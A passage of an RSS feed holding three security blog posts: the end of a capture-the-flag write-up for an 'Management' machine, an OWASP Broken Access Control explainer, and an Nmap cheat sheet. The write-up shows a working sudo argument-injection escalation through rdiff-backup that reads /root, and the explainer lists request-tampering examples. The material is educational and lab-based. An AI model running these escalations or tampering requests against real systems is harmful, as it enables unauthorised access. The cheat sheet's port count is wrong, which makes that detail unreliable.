sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(\$data, \$nonce, \$nonce, \$key);<br>echo \$plain . PHP_EOL;<br>&quot;</pre><p>Decrypted Password: WpczC40GhTbk</p><p><strong>Logging in as Owen</strong></p><p>We test this password via SSH and successfully log in as owen, securing the user flag.</p><pre>ssh owen@management.htb<br># Password: WpczC40GhTbk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*My0dQk22fRnrueYhm08TOQ.png" /></figure><p><strong>4. Privilege Escalation</strong> 2: owen → root</p><p>We check owen’s sudo privileges to identify potential escalation vectors:</p><pre>sudo -l</pre><p>Output:</p><pre>User owen may run the following commands on management:<br>    (root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only *</pre><p><strong>The Vulnerability</strong>: Argument Injection</p><p>The trailing * is a critical misconfiguration. It allows us to append arbitrary arguments to the rdiff-backup command.</p><p>rdiff-backup processes arguments left-to-right, and the last occurrence of an option wins. Furthermore, the — remote-schema option allows the client to define the exact command used to spawn the server process, using %s as a placeholder for the hostname.</p><p>rdiff-backup parses locations as hostname::path. If we provide /::/root, it interprets the hostname as /. When the client builds the server command, it substitutes %s with /.</p><p><strong>The Exploit</strong></p><p>We craft a command that injects a second — restrict-path / at the end of the sudo command, completely overriding the /opt/backup restriction.</p><pre>rdiff-backup \<br>  --remote-schema &quot;sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path %s&quot; \<br>  backup /::/root /tmp/root_backup</pre><p>What actually executes as root:</p><pre>sudo /usr/bin/rdiff-backup --server \<br>  --restrict-path /opt/backup \<br>  --restrict-mode read-only \<br>  --restrict-path /        # ← Injected! Overrides the first restriction.</pre><p>Because the second — restrict-path wins, the root-owned server process is now allowed to read the entire filesystem. It backs up the /root directory into /tmp/root_backup, which is owned by owen.</p><p><strong>Capturing the Root Flag</strong></p><p>We navigate to the backup directory and retrieve the flag.</p><pre>ls -la /tmp/root_backup</pre><pre>total 44<br>drwx------  7 owen owen 4096 Nov  9 09:44 .<br>drwxrwxrwt 17 root root 4096 Nov  9 11:01 ..<br>...<br>-rw-r-----  1 owen owen   33 Nov  9 09:44 root.txt<br>...</pre><pre>cat /tmp/root_backup/root.txt<br>c18b6d4dce86bddaeb2e39ff3fc8afdb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mtV9RifLCEI2rqq1ZSuf4w.png" /></figure><p><strong>Conclusion </strong>&amp; Mitigation</p><p>The “Management” machine beautifully demonstrates how minor misconfigurations and incomplete patches can lead to full system compromise.</p><p>Key Takeaways &amp; Mitigations:</p><p>Incomplete Patching: The OpenAM RCE (CVE-2026–33439) was a direct regression of CVE-2021–35464. Mitigation: Always ensure all code paths (like jato.clientSession) are covered when applying security patches. Upgrade to OpenAM 16.0.6 or later.</p><p>Hardcoded Encryption Keys: Storing the glpicrypt.key on the same filesystem as the encrypted data defeats the purpose of encryption if an attacker gains any level of access. Mitigation: Utilize external Key Management Systems (KMS) or strict file permissions.</p><p>Dangerous Sudo Wildcards: Allowing * in sudo rules is a classic anti-pattern. Mitigation: Explicitly define allowed arguments in /etc/sudoers rather than relying on application-level restrictions which can be overridden via argument injection.</p><p>Thankyouuu!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc9c917a6823" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken  Access Control OWASP Top 10 2025]]></title>
            <link>https://medium.com/@mr.muhammedirfan/broken-access-control-owasp-top-10-2025-aa0bdf3b092c?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa0bdf3b092c</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 05:44:49 GMT</pubDate>
            <atom:updated>2026-11-09T05:44:49.040Z</atom:updated>
            <content:encoded><![CDATA[<h3>Access Control OWASP Top 10 2025</h3><p>The OWASP Top 10:2025 Context</p><p>As application architectures evolve, so do the threats against them. In the latest OWASP Top 10:2025 framework, Broken Access Control (A01:2025) retains its position as the #1 most critical web application security risk <br>owasp.org.</p><p>Recent industry data indicates that approximately 3.73% of tested applications exhibit at least one vulnerability mapped to the 40+ Common Weakness Enumerations (CWEs) within this category.</p><p>What is Access Control?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*nuyoLhhfTdBEDzIyOeEmGQ.jpeg" /><figcaption>Port Swigger Image</figcaption></figure><p>access control (or authorization) is the enforcement of policies that determine who or what is allowed to perform specific actions or access specific resources within a system. In web applications, robust access control does not exist in a vacuum; it is the final, critical pillar of a three-part identity and trust model:</p><p>Authentication: Verifies the user’s identity (e.g., “Are you really the user you claim to be?”).<br> Session Management: Maintains that verified identity across stateless HTTP requests (e.g., “Are you still the same user from the previous request?”).<br> Access Control (Authorization): Evaluates the authenticated user’s permissions against the requested resource or action (e.g., “Are you explicitly allowed to do this?”)</p><p>2. Models of Access Control</p><p>Applications typically implement one or more of the following access control models:<br>A. Vertical Access Control<br>Restricts access to sensitive functionality based on user types or roles.</p><p>Example: An administrator can delete any user account, while a standard user cannot access the deletion functionality at all. This enforces principles like least privilege and separation of duties.</p><p>B. Horizontal Access Control<br>Restricts access to specific resources of the same type based on user ownership.</p><p>Example: A banking app allows a user to view and transact with their own account, but blocks access to other customers’ accounts, even though both users have the same “standard” role.</p><p>C. Context-Dependent Access Control<br>Restricts access based on the state of the application or the user’s workflow progression.</p><p>Example: An e-commerce site prevents a user from modifying their shopping cart after the payment process has been finalized.</p><p>3. Broken Access Control Vulnerabilities &amp; Exploitation</p><p>When access controls fail, attackers can escalate privileges or access unauthorized data. Below are the primary categories of these failures.<br>🔼 Vertical Privilege Escalation<br>Occurs when a lower-privileged user gains access to functionality reserved for higher-privileged users.<br>1. Unprotected Functionality &amp; “Security by Obscurity”</p><p>The Flaw: Sensitive endpoints exist but are simply hidden from the UI of non-privileged users. <br> Exploitation: Attackers discover these URLs via brute-forcing (e.g., /admin), leaks in robots.txt, or client-side JavaScript leaks (e.g., a script containing an obfuscated admin URL is downloaded to all users, but only rendered in the DOM if isAdmin === true).</p><p>2. Parameter-Based Access Control</p><p>The Flaw: The application determines a user’s role based on client-controllable input (e.g., cookies, hidden form fields, or query parameters).<br> Exploitation: An attacker modifies the request: GET /home.jsp?role=user → GET /home.jsp?role=admin.</p><p>3. Platform Misconfiguration</p><p>The Flaw: Access controls are enforced at the web server or framework level, but the configuration is flawed.<br> Exploitation: <br> Header Overrides: Sending a request to / but including X-Original-URL: /admin/deleteUser, tricking the backend into processing the restricted endpoint while the front-end WAF sees a benign request.<br> HTTP Method Tampering: If a rule blocks POST /admin/deleteUser, the attacker might try GET /admin/deleteUser, as some applications process the action regardless of the HTTP method.</p><p>4. URL-Matching Discrepancies</p><p>The Flaw: The access control engine and the backend application framework parse URLs differently.<br> Exploitation: Exploiting case sensitivity (/ADMIN/DELETEUSER), trailing slashes (/admin/deleteUser/), or framework quirks (e.g., older Spring frameworks mapping /admin/deleteUser.anything to /admin/deleteUser).</p><p>🔁 Horizontal Privilege Escalation</p><p>Occurs when a user accesses resources belonging to another user at the same privilege level.<br>1. Insecure Direct Object References (IDOR)</p><p>The Flaw: The application uses user-supplied input to directly fetch a database object without verifying ownership.<br> Exploitation: Changing GET /myaccount?id=123 to GET /myaccount?id=124.</p><p>2. Unpredictable Identifiers (GUIDs/UUIDs)</p><p>The Flaw: Developers assume that using long, random GUIDs prevents guessing.<br> Exploitation: While hard to brute-force, GUIDs are often leaked elsewhere in the application (e.g., in the HTML source of a public profile or API responses), allowing attackers to harvest valid IDs.</p><p>3. Data Leakage in Redirects</p><p>The Flaw: The application detects unauthorized access and issues a 302 Redirect to the login page.<br> Exploitation: The HTTP response containing the redirect may still include the sensitive data in the response body. Intercepting proxies (like Burp Suite) can capture this data before the browser follows the redirect.</p><p>🔼🔁 Horizontal to Vertical Privilege Escalation</p><p>A chained attack where a horizontal escalation is used to compromise a high-privileged account. An attacker uses an IDOR to access the account settings of any user, iterates until they find an administrator, and then uses a password reset or change function on that specific endpoint to take over the admin account.</p><p>⏭️ Multi-Step Process &amp; Referer-Based Vulnerabilities</p><p>Multi-Step Flaw: Critical actions are split into multiple steps. Developers rigorously protect Steps 1 and 2 but assume Step 3 is safe because “the user must have passed the previous steps.” Attackers skip directly to Step 3, forging the request with malicious parameters.<br> Referer-Based Flaw: The application grants access to a sensitive sub-page only if the HTTP Referer header indicates the request originated from a trusted page. Since the Referer header is entirely controlled by the client, attackers simply forge it.</p><p>6. Conclusion: The Final Line of Defense</p><p>As highlighted by its continued reign as the #1 risk in the OWASP Top 10:2025, Broken Access Control remains a fundamental and pervasive challenge in application security. While authentication and session management verify who is making a request, access control dictates what they are actually allowed to do. A failure in this layer often dictates the difference between a minor security incident and a catastrophic data breach, privilege escalation, or full system takeover.</p><p>Defending against these vulnerabilities requires a strict architectural paradigm shift: moving away from “security by obscurity” and client-side restrictions, toward a rigorous, server-side “deny by default” posture. Because access control logic is deeply tied to unique business requirements and complex workflows, it cannot be entirely solved by automated scanners or generic frameworks. It demands continuous manual testing, threat modeling, and a deep understanding of how an application functions from the inside out.</p><p>For cybersecurity professionals and educators, mastering access control is non-negotiable. By combining the theoretical foundations outlined in this write-up with hands-on exploitation practice — such as the 13 PortSwigger labs — you can transition from simply understanding these flaws to actively identifying and neutralizing them in real-world environments. Ultimately, robust access control is not just a feature; it is the essential boundary that keeps an application’s data, users, and infrastructure secure.</p><p>Thankyou !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa0bdf3b092c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[N-map Commands]]></title>
            <link>https://medium.com/@mr.muhammedirfan/n-map-commands-6b9a106584f9?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b9a106584f9</guid>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Thu, 04 May 2023 13:40:19 GMT</pubDate>
            <atom:updated>2023-05-04T13:40:19.408Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Here I am sharing common Nmap syntax to help you learn and remember.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*BmtsI8hyFlLc-0gpHuLAnA.jpeg" /><figcaption>N-map symbol</figcaption></figure><p>In this blog, you will find both Nmap command examples as well as explanations of when and why you would use certain options and arguments.</p><p>There are a lot of Nmap commands that you can use that are very detailed and advanced. But the chances of ever needing to use them for the majority are quite low so we’ve focused on the most important commands that you need to know and will use most often.</p><blockquote><strong>Terminal Details</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*UM7RcOSiWoZX-s8yeTbUvA.jpeg" /></figure><h3><strong>Nmap help</strong></h3><p>`<strong>nmap -h</strong>` to display an extended help menu of Nmap in your terminal.</p><h3><strong>Nmap targeting.</strong></h3><p>N-map is a free and open-source utility for network discovery and security auditing. You can scan one single target or multiple targets. Here is a list of examples, showing the ways you can target something:</p><blockquote>Scanning a single IP :nmap 192.168.1.1</blockquote><blockquote>Scanning a hostname:nmap www.domain.com</blockquote><blockquote>Scanning an IP range :nmap 192.168.1.1-100</blockquote><blockquote>Scanning a subnet :nmap 192.168.1.1/24</blockquote><blockquote>Scanning from a predefined list :nmap -iL list.txt</blockquote><blockquote><strong>Terminal Veiw</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*xuZu4RKf0PyOcmjHUMYHWA.png" /></figure><blockquote><strong>Terminal Decoding.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*xRs2-miIB7FjUVlkXvfuWQ.jpeg" /></figure><h3><strong>Nmap scan types</strong></h3><p>Besides the basic `<strong>nmap &lt; target &gt;</strong>`, we can also use various scanning types in Nmap. Each of them has its own unique capabilities, but also often comes with the downside of one being noisier than the other.</p><p><strong>-sS command :</strong></p><pre>nmap -sS &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*zlbnkFFh5XOHnvs1kyLiOQ.png" /></figure><p>This is a TCP SYN SCAN, also known as a stealth scan. This scan only sends an SYN packet and awaits an SYN/ACK response. When Nmap receives an SYN/ACK on a specific probed port, it means the port exists on the machine and is open. This is a fast and pretty accurate scan, which you will use most of the time. It requires the sudo root command to run.</p><p><strong>-sT command :</strong></p><pre>nmap -sT &lt;_target&gt;</pre><p>The -sT scan is more accurate than a -sS scan, but the downside is that it is slower, makes more noise, and is easily detected by well-set-up firewalls. This is because it makes a full three-way handshake (or better said, a full TCP connection) with the host. Normally it is not used. Not required for the sudo root command to run.</p><p><strong>-sU command :</strong></p><pre>nmap -sU &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*yRy7TGYvJz2q6P_R4bNmyA.png" /></figure><p>This scan is used to scan for UDP ports. This is typically a slower and more difficult scan. Though most services use TCP, there are also services that use UDP, such as DNS, SNMP, and DHCP. So this scan is still useful as there are still exploitable UDP services. So don’t make the mistake of skipping this scan, you might find something! It requires the sudo root command to run.</p><p><strong>-sn command:</strong></p><pre>nmap -sn &lt;_target(s)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*bJsi-rdYP2rEO1DbyjuOTg.png" /></figure><p>This is a simple and fast ping scan to see which hosts reply to ICMP ping packets. This is useful if you are on the same (sub)network as the IP range you are scanning and if you only want to know which devices are live. You can also get the same result by using -Pn. Not required for the sudo root command to run.</p><p><strong>-sV command :</strong></p><pre><br>nmap -sV &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*N1_hOQ8QoAmH8DPSx4C3lw.png" /></figure><p>This is a service version scan. In order to know what exploits will work, it is very helpful to know the service version behind an open port. It might be that a certain exploit only works in one specific version of a certain service, as it might be patched in a new version. Not required for the sudo root command to run.</p><p><strong>-O command:</strong></p><pre><br>nmap -O &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*6SNXOqoKlwvnHNyJEuoWcw.jpeg" /></figure><p>This is a remote OS detection scan. We use this scan to learn what OS the target runs on. This is very useful as it gives an idea of what kind of exploits might work on the target, and which exploits won’t work. Note that this scan only works if there is at least 1 open port and 1 closed port. It requires the sudo root command to run.</p><p><strong>nmap -A &lt;_target&gt; :</strong></p><pre>nmap -A &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*v-6s0Nx6FP_I4sl7xbLMzQ.jpeg" /></figure><p>This is an aggressive scan. This scan performs OS detection, version detection, script scanning, and traceroute. Though it returns a lot of information, you will be alarming the target as this is probably the noisiest scan. It requires the sudo root command to run.</p><h3><strong>Nmap port scanning</strong></h3><blockquote>Scan a single port</blockquote><pre>nmap -p &lt;_port&gt; &lt;_target&gt; <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*PSEw1O6eW-4nrAjPxq97YQ.png" /></figure><p>Use -p &lt;_port&gt; to scan for one specific port on the target.</p><blockquote>Scan for range of ports</blockquote><pre>nmap -p &lt;_port_range_begin&gt;-&lt;_port_range_end&gt; &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*GsFBcRRG24A3pgvDWA7tpw.jpeg" /></figure><p>You can also use -p to scan for a range of ports, -p 1–20 &lt;_target&gt; would scan for the ports 1 to 20 on the target.</p><blockquote>Scan multiple ports</blockquote><pre>nmap -p &lt;_port_a&gt;,&lt;_port_b&gt;,&lt;_port_c&gt; &lt;_target&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*bVoQU8d5Gy0zSjpLPxygPw.jpeg" /></figure><p>There is also the possibility to specify multiple specific ports by separating them with a comma.</p><blockquote>Scan for both TCP &amp; UDP</blockquote><pre>nmap -p U:&lt;_udp_port&gt;,T:&lt;_tcp_port&gt; &lt;_target&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*MF4ODEqN5vcb2iBwui3NTw.png" /></figure><p>If you want to scan for both UDP and TCP ports, you can use U:&lt;_udp_port&gt; and T:&lt;_tcp_port&gt;, separated by a comma</p><blockquote>Scan for top ports</blockquote><pre>nmap -top-ports &lt;_amount&gt; &lt;_target&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*MErGOPypQzhFMPdNSKbuuw.jpeg" /></figure><p>With this option, you scan for the top # ports, depending on what amount you provide.</p><blockquote>scan for all ports</blockquote><pre>nmap -p- &lt;_target&gt; <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*omBz_a7ZaW4yUj7NAtE8Ig.jpeg" /></figure><p>This option tells Nmap to scan the target for all the known ports there are in the world… there are 655,355 ports in total. This will clearly make the scan take longer to finish.</p><p>This is my first one. I think the time you spent with me will help you.</p><p>Thankyou for reading…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b9a106584f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>